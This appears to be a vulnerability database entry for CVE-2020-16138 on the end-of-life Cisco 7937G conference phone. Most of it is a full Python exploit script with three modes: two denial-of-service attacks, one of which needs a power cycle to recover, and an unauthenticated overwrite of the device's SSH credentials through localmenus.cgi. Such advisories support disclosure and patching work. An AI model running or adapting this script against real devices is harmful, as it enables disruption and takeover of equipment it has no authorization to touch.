ID

VAR-202008-0711

CVE

CVE-2020-16138

TITLE

Cisco 7937G input validation error vulnerability

DESCRIPTION

A denial-of-service issue in Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers to remotely disable the device until it is power cycled. Note: We cannot prove this vulnerability exists. Out of an abundance of caution, this CVE is being assigned to better serve our customers and ensure all who are still running this product understand that the product is end of life and should be removed or upgraded. For more information on this, and how to upgrade, refer to the CVE’s reference information. ** Not supported ** This issue is a vulnerability in an unsupported version. Cisco 7937G is an online conference terminal equipment of Cisco (Cisco). There are security vulnerabilities in Cisco 7937G version 1-4-4-0 to version 1-4-5-7. An attacker can use this vulnerability to cause a denial of service. # Exploit Title: Cisco 7937G All-In-One Exploiter # Date: 2020-08-10 # Exploit Author: Cody Martin # Vendor Homepage: https://cisco.com # Version: <=SIP-1-4-5-7 # Tested On: SIP-1-4-5-5, SIP-1-4-5-7 # CVE: CVE-2020-16139, CVE-2020-16138, CVE-2020-16137 #!/usr/bin/python import sys import getopt import requests import paramiko import socket import os def main(argv): target = "" attack = "" username = "" password = "" divider = "=============================================" help_text = ''' exploit.py -t/--target ip-address-of-target -a/--attack attack-type [-u/--user username -p/--password password] %s Example: exploit.py -t 192.168.1.200 -a 1 Example: exploit.py --target 192.168.1.200 --attack 3 --user bob --password villa %s Attack types: 1: DoS with automatic device reset 2: DoS without automatic device reset 3: Change SSH credentials of target device ''' % (divider, divider) if len(sys.argv) == 1: print(help_text) sys.exit(2) try: opts, args = getopt.getopt(argv, "ht:a:u:p:", ["help", "target=", "attack=", "user=", "password="]) except getopt.GetoptError: print(help_text) sys.exit(2) for opt, arg in opts: if opt == "-h": print(help_text) sys.exit() elif opt in ("-t", "--target"): target = arg elif opt in ("-a", "--attack"): attack = arg elif opt in ("-u", "--user"): username = arg elif opt in ("-p", "--password"): password = arg if username != "" and password != "" and attack == "3": print("Starting SSH attack!") print(divider) print("Target: ", target, "\nAttack: ", attack, "\nUser: ", username, "\nPassword: ", password) finished = attack_ssh(target, username, password) elif attack == "1": print("Starting DoS reset attack!") print(divider) print("Target: ", target, "\nAttack: ", attack) finished = dos_one(target) elif attack == "2": print("Starting DoS non-reset attack!") print(divider) print("Target: ", target, "\nAttack: ", attack) finished = dos_two(target) print(divider) if finished == 1: print("DoS reset attack completed!") elif finished == 2: print("DoS non-reset attack completed!") print("Device must be power cycled to restore functionality.") elif finished == 3: tell = "SSH attack finished!\nTry to login using the supplied credentials %s:%s" % (username, password) connection_example = "ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 %s@%s" % (username, target) print(tell) print("You must specify the key exchange when connecting or the device will be DoS'd!") print(connection_example) elif finished == 0: print("Something strange happened. Attack likely unsuccessful.") sys.exit() def dos_one(target): url = "http://%s/localmenus.cgi" % target data = "A"*46 payload = {"func": "609", "data": data, "rphl": "1"} print("FIRING ZE MIZZLES!") for i in range(1000): try: r = requests.post(url=url, params=payload, timeout=5) if r.status_code != 200: print("Device doesn't appear to be functioning or web access is not enabled.") sys.exit() except requests.exceptions.RequestException: return 1 return 0 def dos_two(target): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(15) try: sock.connect((target, 22)) except OSError: print("Device doesn't appear to be functioning (already DoS'd?) or SSH is not enabled.") sys.exit() transport = paramiko.Transport(sock=sock, disabled_algorithms={"kex": ["diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"]}) fd = os.open("/dev/null", os.O_WRONLY) savefd = os.dup(2) os.dup2(fd, 2) try: transport.connect(username="notreal", password="notreal") except (paramiko.ssh_exception.SSHException, OSError, paramiko.SSHException): os.dup2(savefd, 2) return 2 return 0 def attack_ssh(target, username, password): url = "http://%s/localmenus.cgi" % target payload_user = {"func": "403", "set": "401", "name1": username, "name2": username} payload_pass = {"func": "403", "set": "402", "pwd1": password, "pwd2": password} print("FIRING ZE MIZZLES!") try: r = requests.post(url=url, params=payload_user, timeout=5) if r.status_code != 200: print("Device doesn't appear to be functioning or web access is not enabled.") sys.exit() r = requests.post(url=url, params=payload_pass, timeout=5) if r.status_code != 200: print("Device doesn't appear to be functioning or web access is not enabled.") sys.exit() except requests.exceptions.RequestException: print("Device doesn't appear to be functioning or web access is not enabled.") sys.exit() return 3 if __name__ == "__main__": main(sys.argv[1:])

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

input validation error

CONFIGURATIONS

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Cody Martin

SOURCES

LAST UPDATE DATE

2024-04-18T13:12:04.884000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE